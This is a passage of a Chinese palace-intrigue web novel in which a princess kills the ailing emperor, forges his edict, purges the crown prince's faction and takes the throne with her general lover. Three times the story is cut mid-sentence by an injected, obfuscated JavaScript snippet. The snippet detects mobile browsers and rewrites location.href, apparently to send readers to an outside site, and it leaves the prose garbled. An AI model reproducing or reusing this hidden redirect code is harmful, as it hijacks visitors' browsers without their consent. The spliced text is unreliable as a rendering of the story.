她说完,对上旁边张贵年的目光,又不自在地抓了抓后脑勺:“咳咳,那个,本来可以打道回府了,但我实在不甘心让他就这么逃了,所以又追了二里路……你别担心,我勘察过,确保无诈才追的。” 张贵年依然不说话,付清蓉声音就小了下来:“笑一个嘛张副将,我这不是凯旋归来了吗?” “你还有脸说!”付清衣气不打一处来,指着她就骂,“战场刀剑不长眼,当初你怎么向我保证的?怎么和张贵年发誓的?一上战场八匹马都拉不回你,记性全给狗吃了?!” 付清蓉毫不示弱,脆生生怼了回去:“哥,别以为我忘了你当初独身闯阵的时候,你和我半斤八两,还好意思说我呢?” 这话刚说完,她瞧见边上的张贵年抱臂投来不赞同的目光,一下子变脸如翻书,瞬间挂上笑容:“贵年,我往后再不这样冒进了,真的。” 付清衣被这个不仅不省心还胳膊肘往外拐的妹妹气得脑仁疼,他刚想吵回去,就听见一边的宋闻薰微笑着道:“我觉得郡主说得有理,付将军前月的伤势……” 方才还一本正经教育妹妹的付清衣顿时偃旗息鼓,他严肃地清了清嗓子,毫不刻意地扯开话题:“算了,眼看天色不早,开始庆功宴吧。” 付清蓉随意捞了一捧冰水洗干净脸上的血渍,冻的鼻尖儿发红。张贵年把披风给她披上,他像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450107|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个老妈子一样絮絮叨叨地叮嘱付清蓉:“不许吃冷酒,多穿点,你都冻成这样了,还用冰水洗脸,对身体很不好……” “知道啦知道啦。”付清蓉又凑过去亲了他一口,然后笑着摆摆手,扣上披风,一步一步踏上黄金台。 先帝在此处建起黄金台,犒劳得胜班师的将士。 付清蓉一身甲胄,血红的披风被吹得飞扬起来,她一手握着酒壶,一手搭在眉骨上,看着熊熊燃烧起的篝火和将士们喜悦的脸,顿了顿,扬手把御赐的酒倒在地上。 老元帅想要开口阻止,可付清蓉已经先他一步说话了:“我不配喝这壶酒,这壶酒,该给死去的弟兄们。” 老元帅盯着地上的酒水,苍老的皱纹在那一刻显得尤为明显,他深深叹了口气,没再说什么。 “一将功成万骨枯。这一场仗胜了,却叫许多父母失去了孩子,许多孩子失去了父母。这场胜利不只是属于我的,也是属于他们的。” 她一字一顿地念着,直到念完了整整一百七十个名字。 在一片寂静中,她一扬披风跪下来,以一个无比恭敬的军礼姿势,跪在那一摊酒水前。 “他们出征前问我,如果赢了是不是能喝上御酒,他们从没尝过这么好的酒,到时候一定喝个够。我跟他们说,御酒有什么了不起,等仗打赢了,等我们回去,叫我哥把京城六鲜阁全包下来,咱们大吃特吃,狠狠宰我哥一顿。” 周围响起零星的笑声,付清衣也勾起唇角,目光却是悲伤的。 “但我食言了,我把他们带出去,没把他们带回来。” 宋闻薰坐在付清衣边上,望着付清蓉凌冽的眉眼,掷地有声的话,微微颤抖的嗓音,忽然明白了为什么付清衣宁可与违抗东宫也不舍得让付清蓉嫁给太子。 这样的女子,注定属于边疆和大漠,合该披坚执锐,闯荡沙场,她鲜艳得生机勃勃,满腔干干净净的滚烫热血,坦荡如长风,骄傲如烈日。 宋闻薰动了动唇,轻轻地道:“真好啊。” 付清衣听见了,他转过头来,似想说什么,被宋闻薰笑着用话茬子掩过去:“后日,我便要回去了,届时你我飞鸽传书,见机行事,京城里那些尔虞我诈的活儿便交给我,你且攥紧了兵权,好好防着太子的军队。” “行。” 宋闻薰用木棍子拨了拨篝火,她仰头看着坠满繁星的夜空,也不知想了什么,忽然轻轻道:“要是我成了九五之尊,必不会叫将军百战死,壮士十年归。” 夜色寒冷,长风呼啸,宋闻薰这句话刚说出口,就散在了霜冷的月光里,化作模糊不清呜咽风声。 14. 长安客(1) 宋闻薰和付清蓉一同班师回朝。走的那天,付清衣前来送行,风吹起他的长袍,他贴着宋闻薰的耳朵,咬字很重:“只要我手中还有兵权,东宫若敢伤你分毫,我必叫他血偿。” 宋闻薰有些震惊地看向他,付清衣目光凌厉,竟是认真的。付家一向是出了名的忠诚不二,付清衣这番话可谓大逆不道到了极点,宋闻薰愣了半天才找回声音:“付老侯爷一直忠心耿耿……我还以为你……” 付清衣嗤笑一声,他弹去衣角的沙子,目光微抬,看向远处的城池,他满身铁甲闪着冰冷的寒光,眼中却是热的,满是张狂桀骜:“付家人忠的一直是黎民百姓,而非一家之姓。” 宋闻薰看着他的侧脸,忍不住凑上去亲了一下,她笑着,有一种奇异的骄傲:“嗯。” 回到京城时,宋闻薰在军营时那种放松又放肆的状态荡然无存,她去了一趟皇宫,看望生重病的老皇帝。 老皇帝再不复他从前英姿勃发的模样,瘦得有些脱相,鬓边白了一片,眼睛半闭着,眼角细纹遍布,看上去苍老又憔悴。 宋闻薰面无表情地走进去,她屏退了侍从,坐在床边,窗外有阳光落在她半张脸上,一面暗一面亮,她微微垂下眼,竟有几分柔弱温婉的气质。 乍一看,宛如曾经的德妃。 老皇帝睁开眼时看见的就是这样的情景,他青紫的唇剧烈颤动着,过了好久才说出话:“阿筠……” 宋闻薰没有抬眼,她只是轻轻应了一声,如愿以偿地听见老皇帝霍然激动起来的神情,皇帝并不清醒,他支着病体撑起半边身子,却还是执着地去够宋闻薰的手。宋闻薰没有动,只是在他快要触碰到自己时向后一退,于是尊贵无匹的皇帝狼狈地摔了下来,战栗着、哆嗦着,像一摊腐烂的骨头。 皇帝良久没再发出声音,过了一会儿,他露出一个有些可怜的笑容来:“阿筠,我以为你不会再见我了。” 宋闻薰缓慢地眨了一下眼睛,她勾起一笑,然而转瞬即逝,带着委屈地道:“陛下,怎么会呢。” 皇帝意识很不清醒,不知看见了什么,额上的青筋根根暴起,他嘶声怒喝:“谁欺负你?阿筠,你告诉朕,朕替你做主,敢欺负你的,朕都要杀了!!杀了!!!” 嘶哑的嗓音在殿中回荡,一阵寒风从没有关严的窗户里吹进来,吹得皇帝面色惨白,而宋闻薰保持着泫然欲泣的神情,讽刺地注视着挣扎着的皇帝。 多么可笑。 德妃活着的时候,皇帝对皇后的所作所为睁一只眼闭一只眼,德妃日日夜夜饱受屈辱,他也不过只是象征性给些口头安慰,现在德妃死了,这副深情款款的做派又是要给谁看呢? 宋闻薰平静地打断他,道:“陛下,你不会的。” 躺在病榻上的皇帝僵住了。 宋闻薰一字一句,以德妃的口吻,说得清晰又残忍:“陛下,欺负嫔妾的人,权势太大,你要靠着他们稳住你的江山,还要靠他们平衡朝堂势力,你不会杀他们的,你只会作壁上观,装聋作哑。没准他们欺负嫔妾,欺负嫔妾的女儿时,你还要夸他们欺负得好,欺负得真痛快。” 皇帝的脸色更白了,他慌乱地想要去抓她的衣角,又支撑不起,再一次瘫倒在床,他瞪着混浊的眼睛,只知道摇头:“不是的……阿筠……不是这样的……你听我说……你听我说……” 宋闻薰突然笑起来,她把满腔厌恶藏在柔软眼波下,笑得隐忍而矜持,以一种怜悯的口吻道:“好啊陛下,我听你说。” 皇帝的声音空落落响在室内,越来越低,最后低成哽咽:“朕是皇帝,阿筠,朕坐在龙椅上,身不由己。他们欺负你……朕知道,朕……恨不能将他们千刀万剐!可……可朕是皇帝。” 宋闻薰冷笑道:“陛下是皇帝,天下都攥在陛下手里,还杀不得一个人吗?” 她漠然想,皇帝若是还不能随心所欲,连爱人都护不周全,那真像个天大的笑话。 “不是这样,你若在我这个位置自会理解……阿筠……我累了,我们走好不好?我们搬去王府,我给你画眉,给你画眉好不好?”皇帝的目光突然亮起来,他急切地看着宋闻薰,带着近乎卑微的期盼,那一瞬间,仿佛回到他弱冠之年,他还是年轻的皇子,对姜家姑娘一见钟情,紧张得连话也说不利索。 一晃经年了,昔年意气风发的皇子,如今只剩下一把病得昏沉的骨架。而他曾经发誓要保护一辈子的姑娘,早已经在他的所谓的“身不由己”中忍了一辈子的痛楚,活得战战兢兢,死得不清不楚。 是时候了,宋闻薰垂下眼睫,居高临下地看他:“我不要那些,我要你和我的孩子宋闻薰继承皇位,那样才能保护我。” 皇帝怔住了,他艰难地消化着这句话的意思,混沌的眼中突然短暂地清明了一瞬,可在他抬头看见宋闻薰的脸时,那点清明又转瞬被更大的混乱淹没了。 宋闻薰温声问:“好不好呢?五郎?我很害怕。” 五郎是德妃从前对皇帝的称呼,这样颠倒的称呼进一步摧毁了老皇帝最后一霎的清醒,他茫然注视着宋闻薰,像个被操控的提线木偶。 宋闻薰扶他起来,一步步哄着他写下废太子立辽远王的诏书。老皇帝昏昏沉沉地盖上印,而宋闻薰嘴角的微笑越来越明显。 她的手搭在皇帝脖颈处,轻轻敲了敲,语气依然柔软:“陛下,睡吧。” 皇帝应声而倒,却没有中断呼吸,眉毛紧锁着,尚且在痛苦地试图从昏沉里挣脱,宋闻薰把他拖到床上,用厚重的棉被捂住他的口鼻,她的眉毛高高挑起,温和的气质陡然一变,沾染上浓烈的攻击性,她带着轻蔑在老皇帝耳边,一字一顿地道:“父皇好糊涂,我若是母妃,见你一眼便恶心透了。” 高高在上了一辈子的帝王,现在像一团烂肉一样,无声无息,再也无法对她的挑衅作出回应。 大雪纷飞,宋闻薰推开门,有雪珠落在她长长的睫毛上,很快又化了,在她脸颊上留下蜿蜒的痕迹,如同泪水,她眉眼中的笑意渐渐散去,化作一片冷静的清醒。 没想到老皇帝这颗不怎么值钱还不剩下多少的真心,临死前还能赚点好处,也算是物超所值了。 她踩着凛冽的北风,一步一步走出宫门,搭着眉骨向天空望去,看见远处天色晦暗,空中偶有飞鸟掠过,叫声刺耳,今年的这一场大雪无休无止。 宋闻薰出宫后去了一个偏僻的宅子,意外发现一向冷清的宅子居然传来欢声笑语。 那是太医令慕行止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450108|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的住所,一般不会有人踏足。说话的人声音有些熟悉,是个很活泼的女声:“慕兄,为了这玩意儿我可赶了几天的路,好不容易从蛮人手里弄来一株,你可得省着点花。” 慕行止似乎在笑,声音很温柔:“嗯。辛苦你。” 宋闻薰不紧不慢地叩了叩门,轻轻推开,看见门内的付清蓉蓦然回头,她笑得意气风发,像是怒放在冰天雪地里的一朵红梅,生机勃勃。 方才宋闻薰发觉自己喜欢这样的生机勃勃。付家兄妹俩都带着这样的气息,令人只是看着,心情便无端好起来。 付清蓉瞧见她,惊喜道:“殿下!你也在!快来瞧瞧,我给慕太医找到了一株碗口大的雪莲花!” 宋闻薰笑道:“雪莲本就珍贵难寻,你能找到这么大一株,花了多少时间?你哥哥知道你偷偷溜出去吗?” 付清蓉立马哭丧着脸来拉她的手,很委屈地碎碎念道:“殿下可不许告诉我哥,他最小心眼儿,要是知道我擅自离军肯定要罚我!殿下最好了,殿下帮我瞒着好不好?” 宋闻薰被她缠得没法子,笑着道:“好,知道了。” 慕行止坐在木轮椅上,腿上盖着兔绒的毛毯,因为常年缠绵病榻,他瘦得惊人,搭在椅上的一双手骨节分明,脸颊微微凹陷下去,衬得一双凤眼格外突出,深邃冷峻。 他看着一直在笑闹的付清蓉,微微弯起唇角,又在她目光望来时立马低头望着桌上的雪莲花,长睫垂落,不知在想些什么,付清蓉看看慕行止,又看看宋闻薰,意识到宋闻薰来此应是有要事,便不再多说,笑着出去了。 随着她的离开,慕行止的目光一点一点冷下来,像是须臾之间换了一张面孔,他抬眼看着宋闻薰,声音没什么情绪:“成功了?” “嗯。”宋闻薰道,“此事多亏有你,若孤最后得偿所愿,你要什么只管开口便是。” “我已是废人,谈何想要之物。”慕行止摆摆手,“殿下能助我杀了太子便可。” 他在撒谎,宋闻薰与他不算深交,却很了解他。因为那是和自己一样的人。看起来温和,实则不择手段到了极点。 他为她提供毒药,他替她谋财害命,无论达官贵人还是平头百姓,无论有罪还是无辜,只要宋闻薰下令,他必然斩草除根。如果说宋闻薰是一条柔软的、伺机而动的蛇,那么慕行止更像是一匹看似被驯化的狼,血气已经渗透了他的骨髓。 宋闻薰不会相信这样一个人为自己卖命只是因为她当年雪中送炭的一点情分,他必然有所图谋。 慕行止在她审视的目光中露出一个平静的微笑:“殿下别这样看我,我双腿已废,殿下想杀我易如反掌。” “你若有什么想要的,但说无妨。”宋闻薰眯起眼睛,她的目光凝在慕行止脸上,一寸一寸扫过去。 “你说出来,孤反而放心。” 慕行止看出她的多疑,无奈地笑笑,道:“殿下不必提防我,当初我帮殿下,只是因为皇后一族曾杀我父母,残我双腿,血海深仇,不得不报。” 他摩挲着桌上的雪莲,低声道:“至于我所要的,殿下就莫过问了。只望殿下别做那些狡兔死,良狗烹的事儿,太子倒了,还愿意给我一处安身立命之所,我便很满足了。” 15. 长安客(2) 等文武百官反应过来,老皇帝似乎病得太久时,宋闻薰已经以亲王之名,施施然踏入了朝堂。 太子殚精竭虑斗赢了他的三个兄弟,在那些皇子正费尽心思讨老皇帝开心时,螳螂捕蝉,黄雀在后,宋闻薰已经暗中把爪牙安插于朝野。 她待人接物总是又客气又温和,即便入了朝堂,也总是保持着恰到好处的安静,但没有人敢忽视她。有敏感的官员已经嗅出风向,这位横空出世的辽远王将是皇位的有力竞争者。 太子被一纸圣旨调去岭南赈灾,且因为岭南疫病严重,太子赈灾不利,声誉大受折损,老皇帝又很久未能上朝,传令让宋闻薰听政,事情发展到这个地步,所有人都看得出不对劲。 朝中有人反抗过,那是个颇为耿直的太子党官员,位列二品,很是有恃无恐,在宋闻薰第一天上朝之日当众摔了腰间的玉牌,冷笑道:“我竟不知有这样的规矩,陛下即便身体抱恙,又怎会让女儿听政?纵是圣旨,也该陛下亲口说出来才算圣旨。” 宋闻薰瞥了他一眼,依然带着温和的笑意,慢条斯理地问:“哦?蒋大人此言,是质疑圣旨有假?” 她是笑着的,目光却像一把刀子,割过满朝文武,一时间竟没有人敢应声,她便自顾自说下去:“既然如此,便请蒋大人随孤入宫见一见陛下,如何?” 蒋逍一顿,直觉有诈,但话已出口,便没有打退堂鼓的道理,他反应也快,当即道:“如此甚好,但不止是微臣,还有不少同僚也忧心陛下安危,请公主将臣等一并带入。” 宋闻薰看了一眼姜丞相,姜丞相顿时会意,转过脸义愤填膺道:“蒋兄此言不妥,皇宫是什么地方?外臣如没有圣旨,怎可擅自入内?六殿下通情达理,念你一片赤诚之心,特地法外开恩,难不成要给所有人都开恩?蒋兄,今日陛下不过是龙体欠安,你便敢强令六殿下践踏天朝法度,他日你岂不是要造反!?” 蒋逍被这顶帽子扣得窝火,再一看姜丞相曾是太子党羽,如今居然反咬一口老东家,气不打一处来,怒道:“微臣之心,日月可鉴,倒是丞相今日句句不离六殿下,是何居心?” “放肆!”姜丞相横眉立目,斥道,“六殿下乃是天子亲封的辽远王,更是陛下的骨血!六殿下是君,我等是臣,臣子忠于皇室,有何居心叵测?” 蒋逍还欲再说:“一派胡言……” 眼看着火候差不多了,宋闻薰做了个噤声的手势,她整理了一番衣袖,不以为意般笑了笑,十足的谦和有礼:“诸位不必为此事伤了和气,既然孤已经为蒋大人破例,也不介意再破几次,皇上怪罪下来,本王一力承担便是。” 这话说得极漂亮,又显得自己贤德,又把蒋逍一派架在了目无王法这口锅上,朝堂上的太子党已是箭在弦上,不得不发,只得纷纷站出来,表明自己也忧心陛下安危,渴望入宫觐见。 宋闻薰垂下眼,一挥衣袖,彬彬有礼地鞠了一躬:“请。” 这注定是会被铭记于史书的一天。 天启十六年四月二十九日,帝有恙,辽远王宋闻薰听政,二十六位官员入宫,被搜出刀剑,以谋反论处,即刻斩杀于宫门外,后宋闻薰再次下令,诛其满门,共杀一百九十八人,血流成河,天下变色。史称,三九之变。 宫墙春色皆作血,满城风雨洗红衣。 再度上朝时,宋闻薰依然是那副温文尔雅的模样,她笑着,若春风拂面,谦和温雅:“诸君还有想去觐见陛下的吗?” 一片死寂。无人再敢说话。 亲王微微眯起眼,很满意的模样:“如此甚好。” 下朝后,宋闻薰如常来到偏远的宅子中,她踏进去,看见慕行止正垂眼盯着手上的雪莲。 “孤每一次来,你都是这个姿势。”宋闻薰无奈地摇摇头,“有时候孤实在怀疑,你是不是一整天都坐在这里盯着这个死物。” 慕行止笑了一下,道:“殿下莫取笑我,这种滋味,殿下不是也很清楚吗?” 宋闻薰笑意一凝。 慕行止:“你杀了这么多人,他若是来京,不可能毫无所觉。” 宋闻薰的脸色沉了下来:“慕太医,孤的事不用你来操心。” “纸包不住火。”慕行止道,“殿下不如直接坦白,微臣以为,付小将军即便知道了,也能理解您的苦衷,更不会阻拦您的大业。” “那是自然,慕行止。”宋闻薰冷冷地看着他,“我现在就传信告诉付清蓉,是你研制的毒杀死了陛下。毕竟付清蓉即便知道了,也不能妨碍到你我。” 慕行止:“……” 他若无其事地转过头去:“咳……殿下自有殿下的考量。我们还是谈谈陛下近来的身体状况罢。” 陛下全靠药物吊着一口呼吸,这是不消说的,宋闻薰问:“他还有几天死?” 慕行止道:“五天。” “太慢了。”宋闻薰眉心微蹙,摇摇头,“太子消息灵通,得知同党被诛杀,必然快马加鞭入京,后天就能到这里。” “不能让他人看出陛下是被毒杀,那就势必要控制好用毒的剂量。殿下,我至多提到三天。”慕行止皱了一下眉,“以你的兵力,能牵制住太子吗?” “不能,所以孤传信给了付清衣。”宋闻薰转身向外走,推开门,留下一句平淡的托付,“成败只在分毫间,孤信你。” 三日后,司礼监宣读陛下废太子,传位给六皇女宋闻薰的圣旨,太子大怒,连夜返京,身后八百轻骑,锋芒毕露,直指辽远王宋闻薰谋杀天子、篡位夺权。 今日无人上朝。禁军与太子军互相厮杀,满地尸骨。 大殿里从没有如此剑拔弩张过,一匹黑马缓缓踱步进殿,太子一袭毫无花色的白衣,墨色长发被一根杏色带子系在脑后,宛如从远方而来送葬。他牵着马缰,自上而下俯瞰宋闻薰:“别来无恙否,六妹。” 宋闻薰立于龙椅边,平静地仰起头:“太子殿下,入金銮殿需解佩剑,否则便是谋逆。” “谋逆?”太子忽然仰天长笑,目光中闪过狠绝,“宋闻薰,你残害忠良、颠倒黑白、篡改圣旨、毒害天子!上对父皇不忠,下对百姓不义,合该千刀万剐,给父皇母后赔罪!” 他拔剑出销,厉声道:“给孤拿下她!” 宋闻薰沉下脸,动了动手指,即刻有暗卫将她团团围住,刀光剑影之下,所有兵力都用来对付她一人,即使是从小杀人的暗卫也不免吃力。不久后便有暗卫倒下,暗红的血一直蜿蜒到宋闻薰脚下,她面色不变,退后一步,袖中短匕锵然而动,在空中划出一个半圆,随后精准地扎入扑上来的人喉中,那人惨叫一声倒下,血液喷溅到宋闻薰白皙的脸上,染红了她的脸,她随手抬起袖子抹去,半张脸都留下了血印,乍一看仿佛受了伤。 包围圈越缩越小,眼看被撕出一个空门,太子的剑凌空斩下,竟是迫不及待想要当场结果了她。 宋闻薰被逼至角落,她处于下风,却并不狼狈,闪身一退,居然硬是用左臂接下了这一剑,血液顿时飙出,伤口深可见骨,宋闻薰额上渗出冷汗反应却极敏锐,回身一撤,太子一击不中,再度举剑。 说时迟那时快,一个鹅黄色身影在宋闻薰眼前一飘,将她挡在身后,少女稚嫩的嗓音响起,脆生生如同清晨的露水:“太子哥哥!别杀她!” 太子的剑就这样定住了,他不敢置信地看着眼前人,呵斥道:“谁叫你来这里的?躲开!” 宋闻薰松了一口气,是卡蓝王女。慕行止还不算没用,至少知道该怎么拖延时间。 三。 太子妃卡蓝像老母鸡护崽子一样紧紧护着宋闻薰,眸子清澈见底,天真又不解地看着太子,她初来中原,根本不明白明明是骨肉至亲的两个人为何会刀剑相向,只得焦急地劝道:“太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450109|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥哥,六殿下不是坏人,她还夸赞过你,你们是不是有什么误会?你先冷静一下,别杀她好不好?” 二。 卡蓝脱下西域风情的打扮,换上繁复的汉装,活脱脱是个不谙世事的京城小姐,她看着太子,目光里有信任和爱慕。 想来太子在她面前一贯装的很好,如同一个真正的谦谦君子。 “卡蓝,这里不是你该来的地方,躲开。”太子皱着眉,阴狠目光在看向卡蓝的一瞬间软化了一点,不知出于什么心理,他放下剑,耐着性子吩咐左右:“将太子妃带下去护着……” 一。 这句话还未说完,殿外忽然传来一阵嘈杂乱响,太子霍然扭头,只见半开的殿门被人强行撞开,天光大亮,有一人身披重甲,腰悬长刀,踏血逆光而入,八百轻骑在他身后溃不成军。 唐刀锋利,快若旋风,劈砍点戳,如入无人之境,马背上那人眉眼灼灼若骄阳,径直冲向被团团围住的宋闻薰。 太子不敢挡其锋芒,抱起卡蓝,强行拨转马头避让,只听得身后马蹄阵阵,有人声音清越,穿过重重刀枪声,撞入宋闻薰耳中:“臣付清衣,护驾来迟。” 远守边疆、威名赫赫的付家军居然倒向宋闻薰,胜负已定,太子不过是垂死挣扎。 宋闻薰绷紧的咬肌不自觉放松了,她信步走出,冷冷一笑,狠戾目光钉在太子脸上,一字一顿道:“传孤指令,生擒逆贼之首,参与叛乱者,杀、无、赦。” 他身后有十万兵马,前方有他至死追随的王。付清衣单膝跪下,虔诚地、温柔地,吻上宋闻薰递过来的手。 “微臣,愿为陛下效犬马之劳。” 天启十二年五月,一代女皇宋闻薰废太子而登基,开历史上女子称帝先河。付清衣护驾有功,获封一品骠骑大将军。 朝野震动,风云变幻。 新帝上任后提拔新党,栽培翰林院学子,大兴儒道,夙夜匪懈,广受赞誉。 在宋闻薰即位第三天夜晚,付清衣被召入宫中议事。 内侍早被遣散,女帝懒洋洋躺在床上,闻得脚步声,微微转过脸来,那面具般刻在脸上的笑容终于褪去,露出一双疲惫的眼睛。 付清衣跪下亲了亲她的手背,有些心疼地看着她:“阿薰,你的伤怎么样?” “无妨。”宋闻薰叹了口气,“清衣,我近来时常想,若是你能常伴在我身边该有多好。高处不胜寒,我从前不明白,如今,也逐渐懂了。” 付清衣弯了唇角,摸摸她的头发:“孩子话。臣可得好好守着陛下的江山呢。” 宋闻薰翻了个身,露出烦躁的神色,看了他半晌,凑上去亲了亲他的眉骨:“还有,朝中那些老头子真讨厌。” “嗯,我找个机会弹劾他们。”付清衣知晓她想发泄怒火,也不反抗,顺从地仰起头方便她动作,不一会儿,红霞就逐渐漫上了他的耳朵,然后是眼角,他有些受不住,偏开头讨饶,“轻点,嗯……” 宋闻薰的疲惫一扫而空,她兴致勃勃地坐起来,勾着付清衣的下巴,笑得像个妖精:“哎,将军怎么这就受不住了?” “不行……你还有伤。”付清衣一边忍不住喘息,一边坚决地抓住宋闻薰作乱的手,“龙体要紧。” 宋闻薰瞪着他,四目相对了一会儿,她拿他没办法,只得放下手,将他推到床上躺下,狠狠掐了他一把:“算来我和你已分别三个月了,好不容易逮着良辰,你倒舍得。” “嘶。”付清衣得意洋洋地捧住她的脸:“记这么清楚啊?能叫陛下为我神魂颠倒,我也算是……咳,红颜祸水了吧?” 宋闻薰笑起来,不再是假惺惺的微笑,她的笑意鲜活而灵动,是真心实意的开心。时隔三个月的开心。 她将脸埋进付清衣的手中,有湿润落下,那是她的泪水,但她又是欣喜的:“清衣,我们苦尽甘来了。” 16. 长安客(3) 刚登基的女帝总有许多事情要忙,她的桌案上堆了厚厚的一摞奏折,像是永远也批不完。 姜丞相与宋闻薰商讨了一番太子党余孽的清剿问题,宋闻薰主张快刀斩乱麻,而姜丞相则坚持徐徐图之。争论了好一会儿,宋闻薰费了好一番唇舌,终于打发走了他。 已是春日,有温暖的阳光从殿外照进来,落在宋闻薰桌角的瓷瓶上,瓶身绘了三四枝桂花,是付清衣的手笔。宋闻薰抬手去抽毛笔,被这样好的阳光晃了眼,她思索片刻,突然放下了笔,问一边的内侍:“今日是端阳节?” “是。” 宋闻薰站起来:“去给朕备一套寻常女子穿的衣裳,朕要微服出宫去一趟。” 李富讶异地瞧着她,哈腰道:“是。只是陛下一人出宫难免危险,奴才也放心不下,需不需要带几个得力的侍卫?” “谁说朕是一人出宫。”宋闻薰瞥他一眼,“宣定北侯付清衣入宫。” 李富这几日眼观鼻鼻观心,这对君臣不寻常的关系,他多少也觉察出来了,立马乖觉地笑道:“付将军已在外头候着了,奴才本要通报,付将军得知陛下在与丞相议事,不愿打扰了陛下,只吩咐等陛下议完再通报。奴才瞧外头日头大,自作主张搬了椅子请将军坐。说来,陛下与将军真是君臣一心,为金石交也。” 宋闻薰一怔,随即心情很好地笑了,她道:“快叫他进来。以后他来,不必通报。” 她又颇为愉悦地看了李富一眼,道:“`穰侯富秦宠,金石比交欢’。你一个太监,连这首诗都知道,倒很通文墨。叫什么名字?” “回皇上,奴才名叫李富。” “封作掌事太监,以后伴驾吧。” “谢皇上恩典!”李富大喜过望,忙嗑了几个响头,他心知自己马屁拍对了,出去通传时,不由得偷偷望了走进来的付清衣一眼,付清衣一袭长袍,长眉入鬓,笑意晕在眼角,意气风发的模样。李富暗想,付将军家世好、样貌好,年纪轻轻便屡立奇功,又受陛下喜爱,几乎夜夜承恩,将来无论是呆在前朝还是后宫,估计都前途无量。真是好福气。 一身便装的宋闻薰看上去就像某个官员家的闺秀,又俏丽又文雅,付清衣目光一亮,他牵着宋闻薰的手笑道:“龙颜威武的陛下是天下的,温婉漂亮的阿薰归我。” 宋闻薰敲了一下他的脑门:“油嘴滑舌。看来昨夜我还不够努力,叫你今天还有力气玩笑我。” 付清衣浑身一僵,昨夜宋闻薰差点把他折腾散架,还不够努力?这要努力的话,他还下得来床吗?!识时务者为俊杰,他立马举起双手投降:“不不不,陛下已经很威武雄壮,不用再努力了。” 杀了老皇帝,又扳倒了太子党,宋闻薰心情大好,她看着付清衣躲闪的目光和耳后的红霞,忍不住凑近了,学着他的腔调附在他耳边用气声道:“先人有言,朕与将军解战袍,芙蓉帐暖度春宵,这是我应该做的,将军不必客气。” 付清衣的脸更红了,他虽然平日里没个正经,却一向受不了她直白赤裸的目光,一时间嗓子有些发干,他不自然地道:“咳咳……” 眼看就要走到人多的大街上,青天白日的,宋闻薰勾了勾唇,放过了付清衣一马。 大街上人群熙攘,周围有一圈摆摊卖香囊的小贩,许多青年男女穿上新衣,抱着五色香草,有说有笑地从氤氲的香雾中走过。 这样的场景对宋闻薰来说很新奇,她自幼长在深宫,后来能出去了,也多半奔波算计在各路人马中,头一次这么放松地走来街上,一时间还真不习惯。 付清衣久别京城,乍一看见这样热闹的端阳节景色,也是五味杂陈。 他们肩并肩各自沉默了一会儿,付清衣突然眼睛一亮,指着一个摊道:“那是什么?我们去看看吧?” 那是个卖香囊的小摊,周围挤满了围观的人。它不同于其他摊子,每一个香囊都用细线吊起来,由远到近,线也由细到粗。距离越是远、线越是细,香囊也越发精致漂亮。一边的桌子上搁着一把弓,射一次两吊钱,射中哪个香囊,这个香囊就归谁。 倒是很新奇的玩法。付清衣笑着偏头问宋闻薰:“想要哪个?” 宋闻薰随手指了指最远的那个香囊,那香囊上绣了一对活灵活现的戏水鸳鸯,料子也用的是质地轻薄的红绫:“那个。” 付清衣点点头,刚想上前,却被一个少年截了先。这是个十五六岁的少年,一袭明红色绛纱袍,腰间佩了把镶满宝石的长剑,高马尾被一根镶金发带束在脑后,生得很是清秀,还有两三个随从围着他,一望便知家底不菲。 那少年一个眼色,一边的随从便掏出一两银子扔在桌上,趾高气扬道:“让我家少爷先射。” 付清衣和宋闻薰对视一眼,非常默契地退后几步,为这少年让开一条路来。出门在外,惹事端是小,怕就怕被人认出了宋闻薰,一国天子当街与人争执,白白落人话柄。 付清衣轻声问:“这是谁家公子?好大的排场。” 纵然他还是付小侯爷时,也曾经当过一阵子不学无术的纨绔,但付家家规森严,他除了偷偷溜出去看戏外,也没干过什么出格的事。若是像这样当街对旁人呼来喝去,被老侯爷知道了必得打断一条腿。 一边的布衣青年悄声道:“公子有所不知,那位是礼部尚书柳适的公子柳扶洲,柳家就这么一个儿子,宠得无法无天。” 柳适。宋闻薰在脑子里扯出这个人来,那老头为人处世那叫一个小心谨慎,在她跟前说句话都像蚊子哼哼,没想到蚊子还能生出只扑棱蛾子。 他们这里小声议论,那边的柳扶洲已经用力拉开弓,周围这么多人瞧着,他倒也不露怯,反倒很享受那些注视。只见他有模有样地瞄准了最近的那个香囊,手一松,羽箭飞出去,眼看着就要挨到香囊,却功亏一篑,在离香囊几寸远的地方一头扎了下来。 人群发出惋惜的叹息,议论声明显大了一倍,柳扶洲一张白脸红成了个南瓜,气得直嚷嚷:“再拿箭来!” 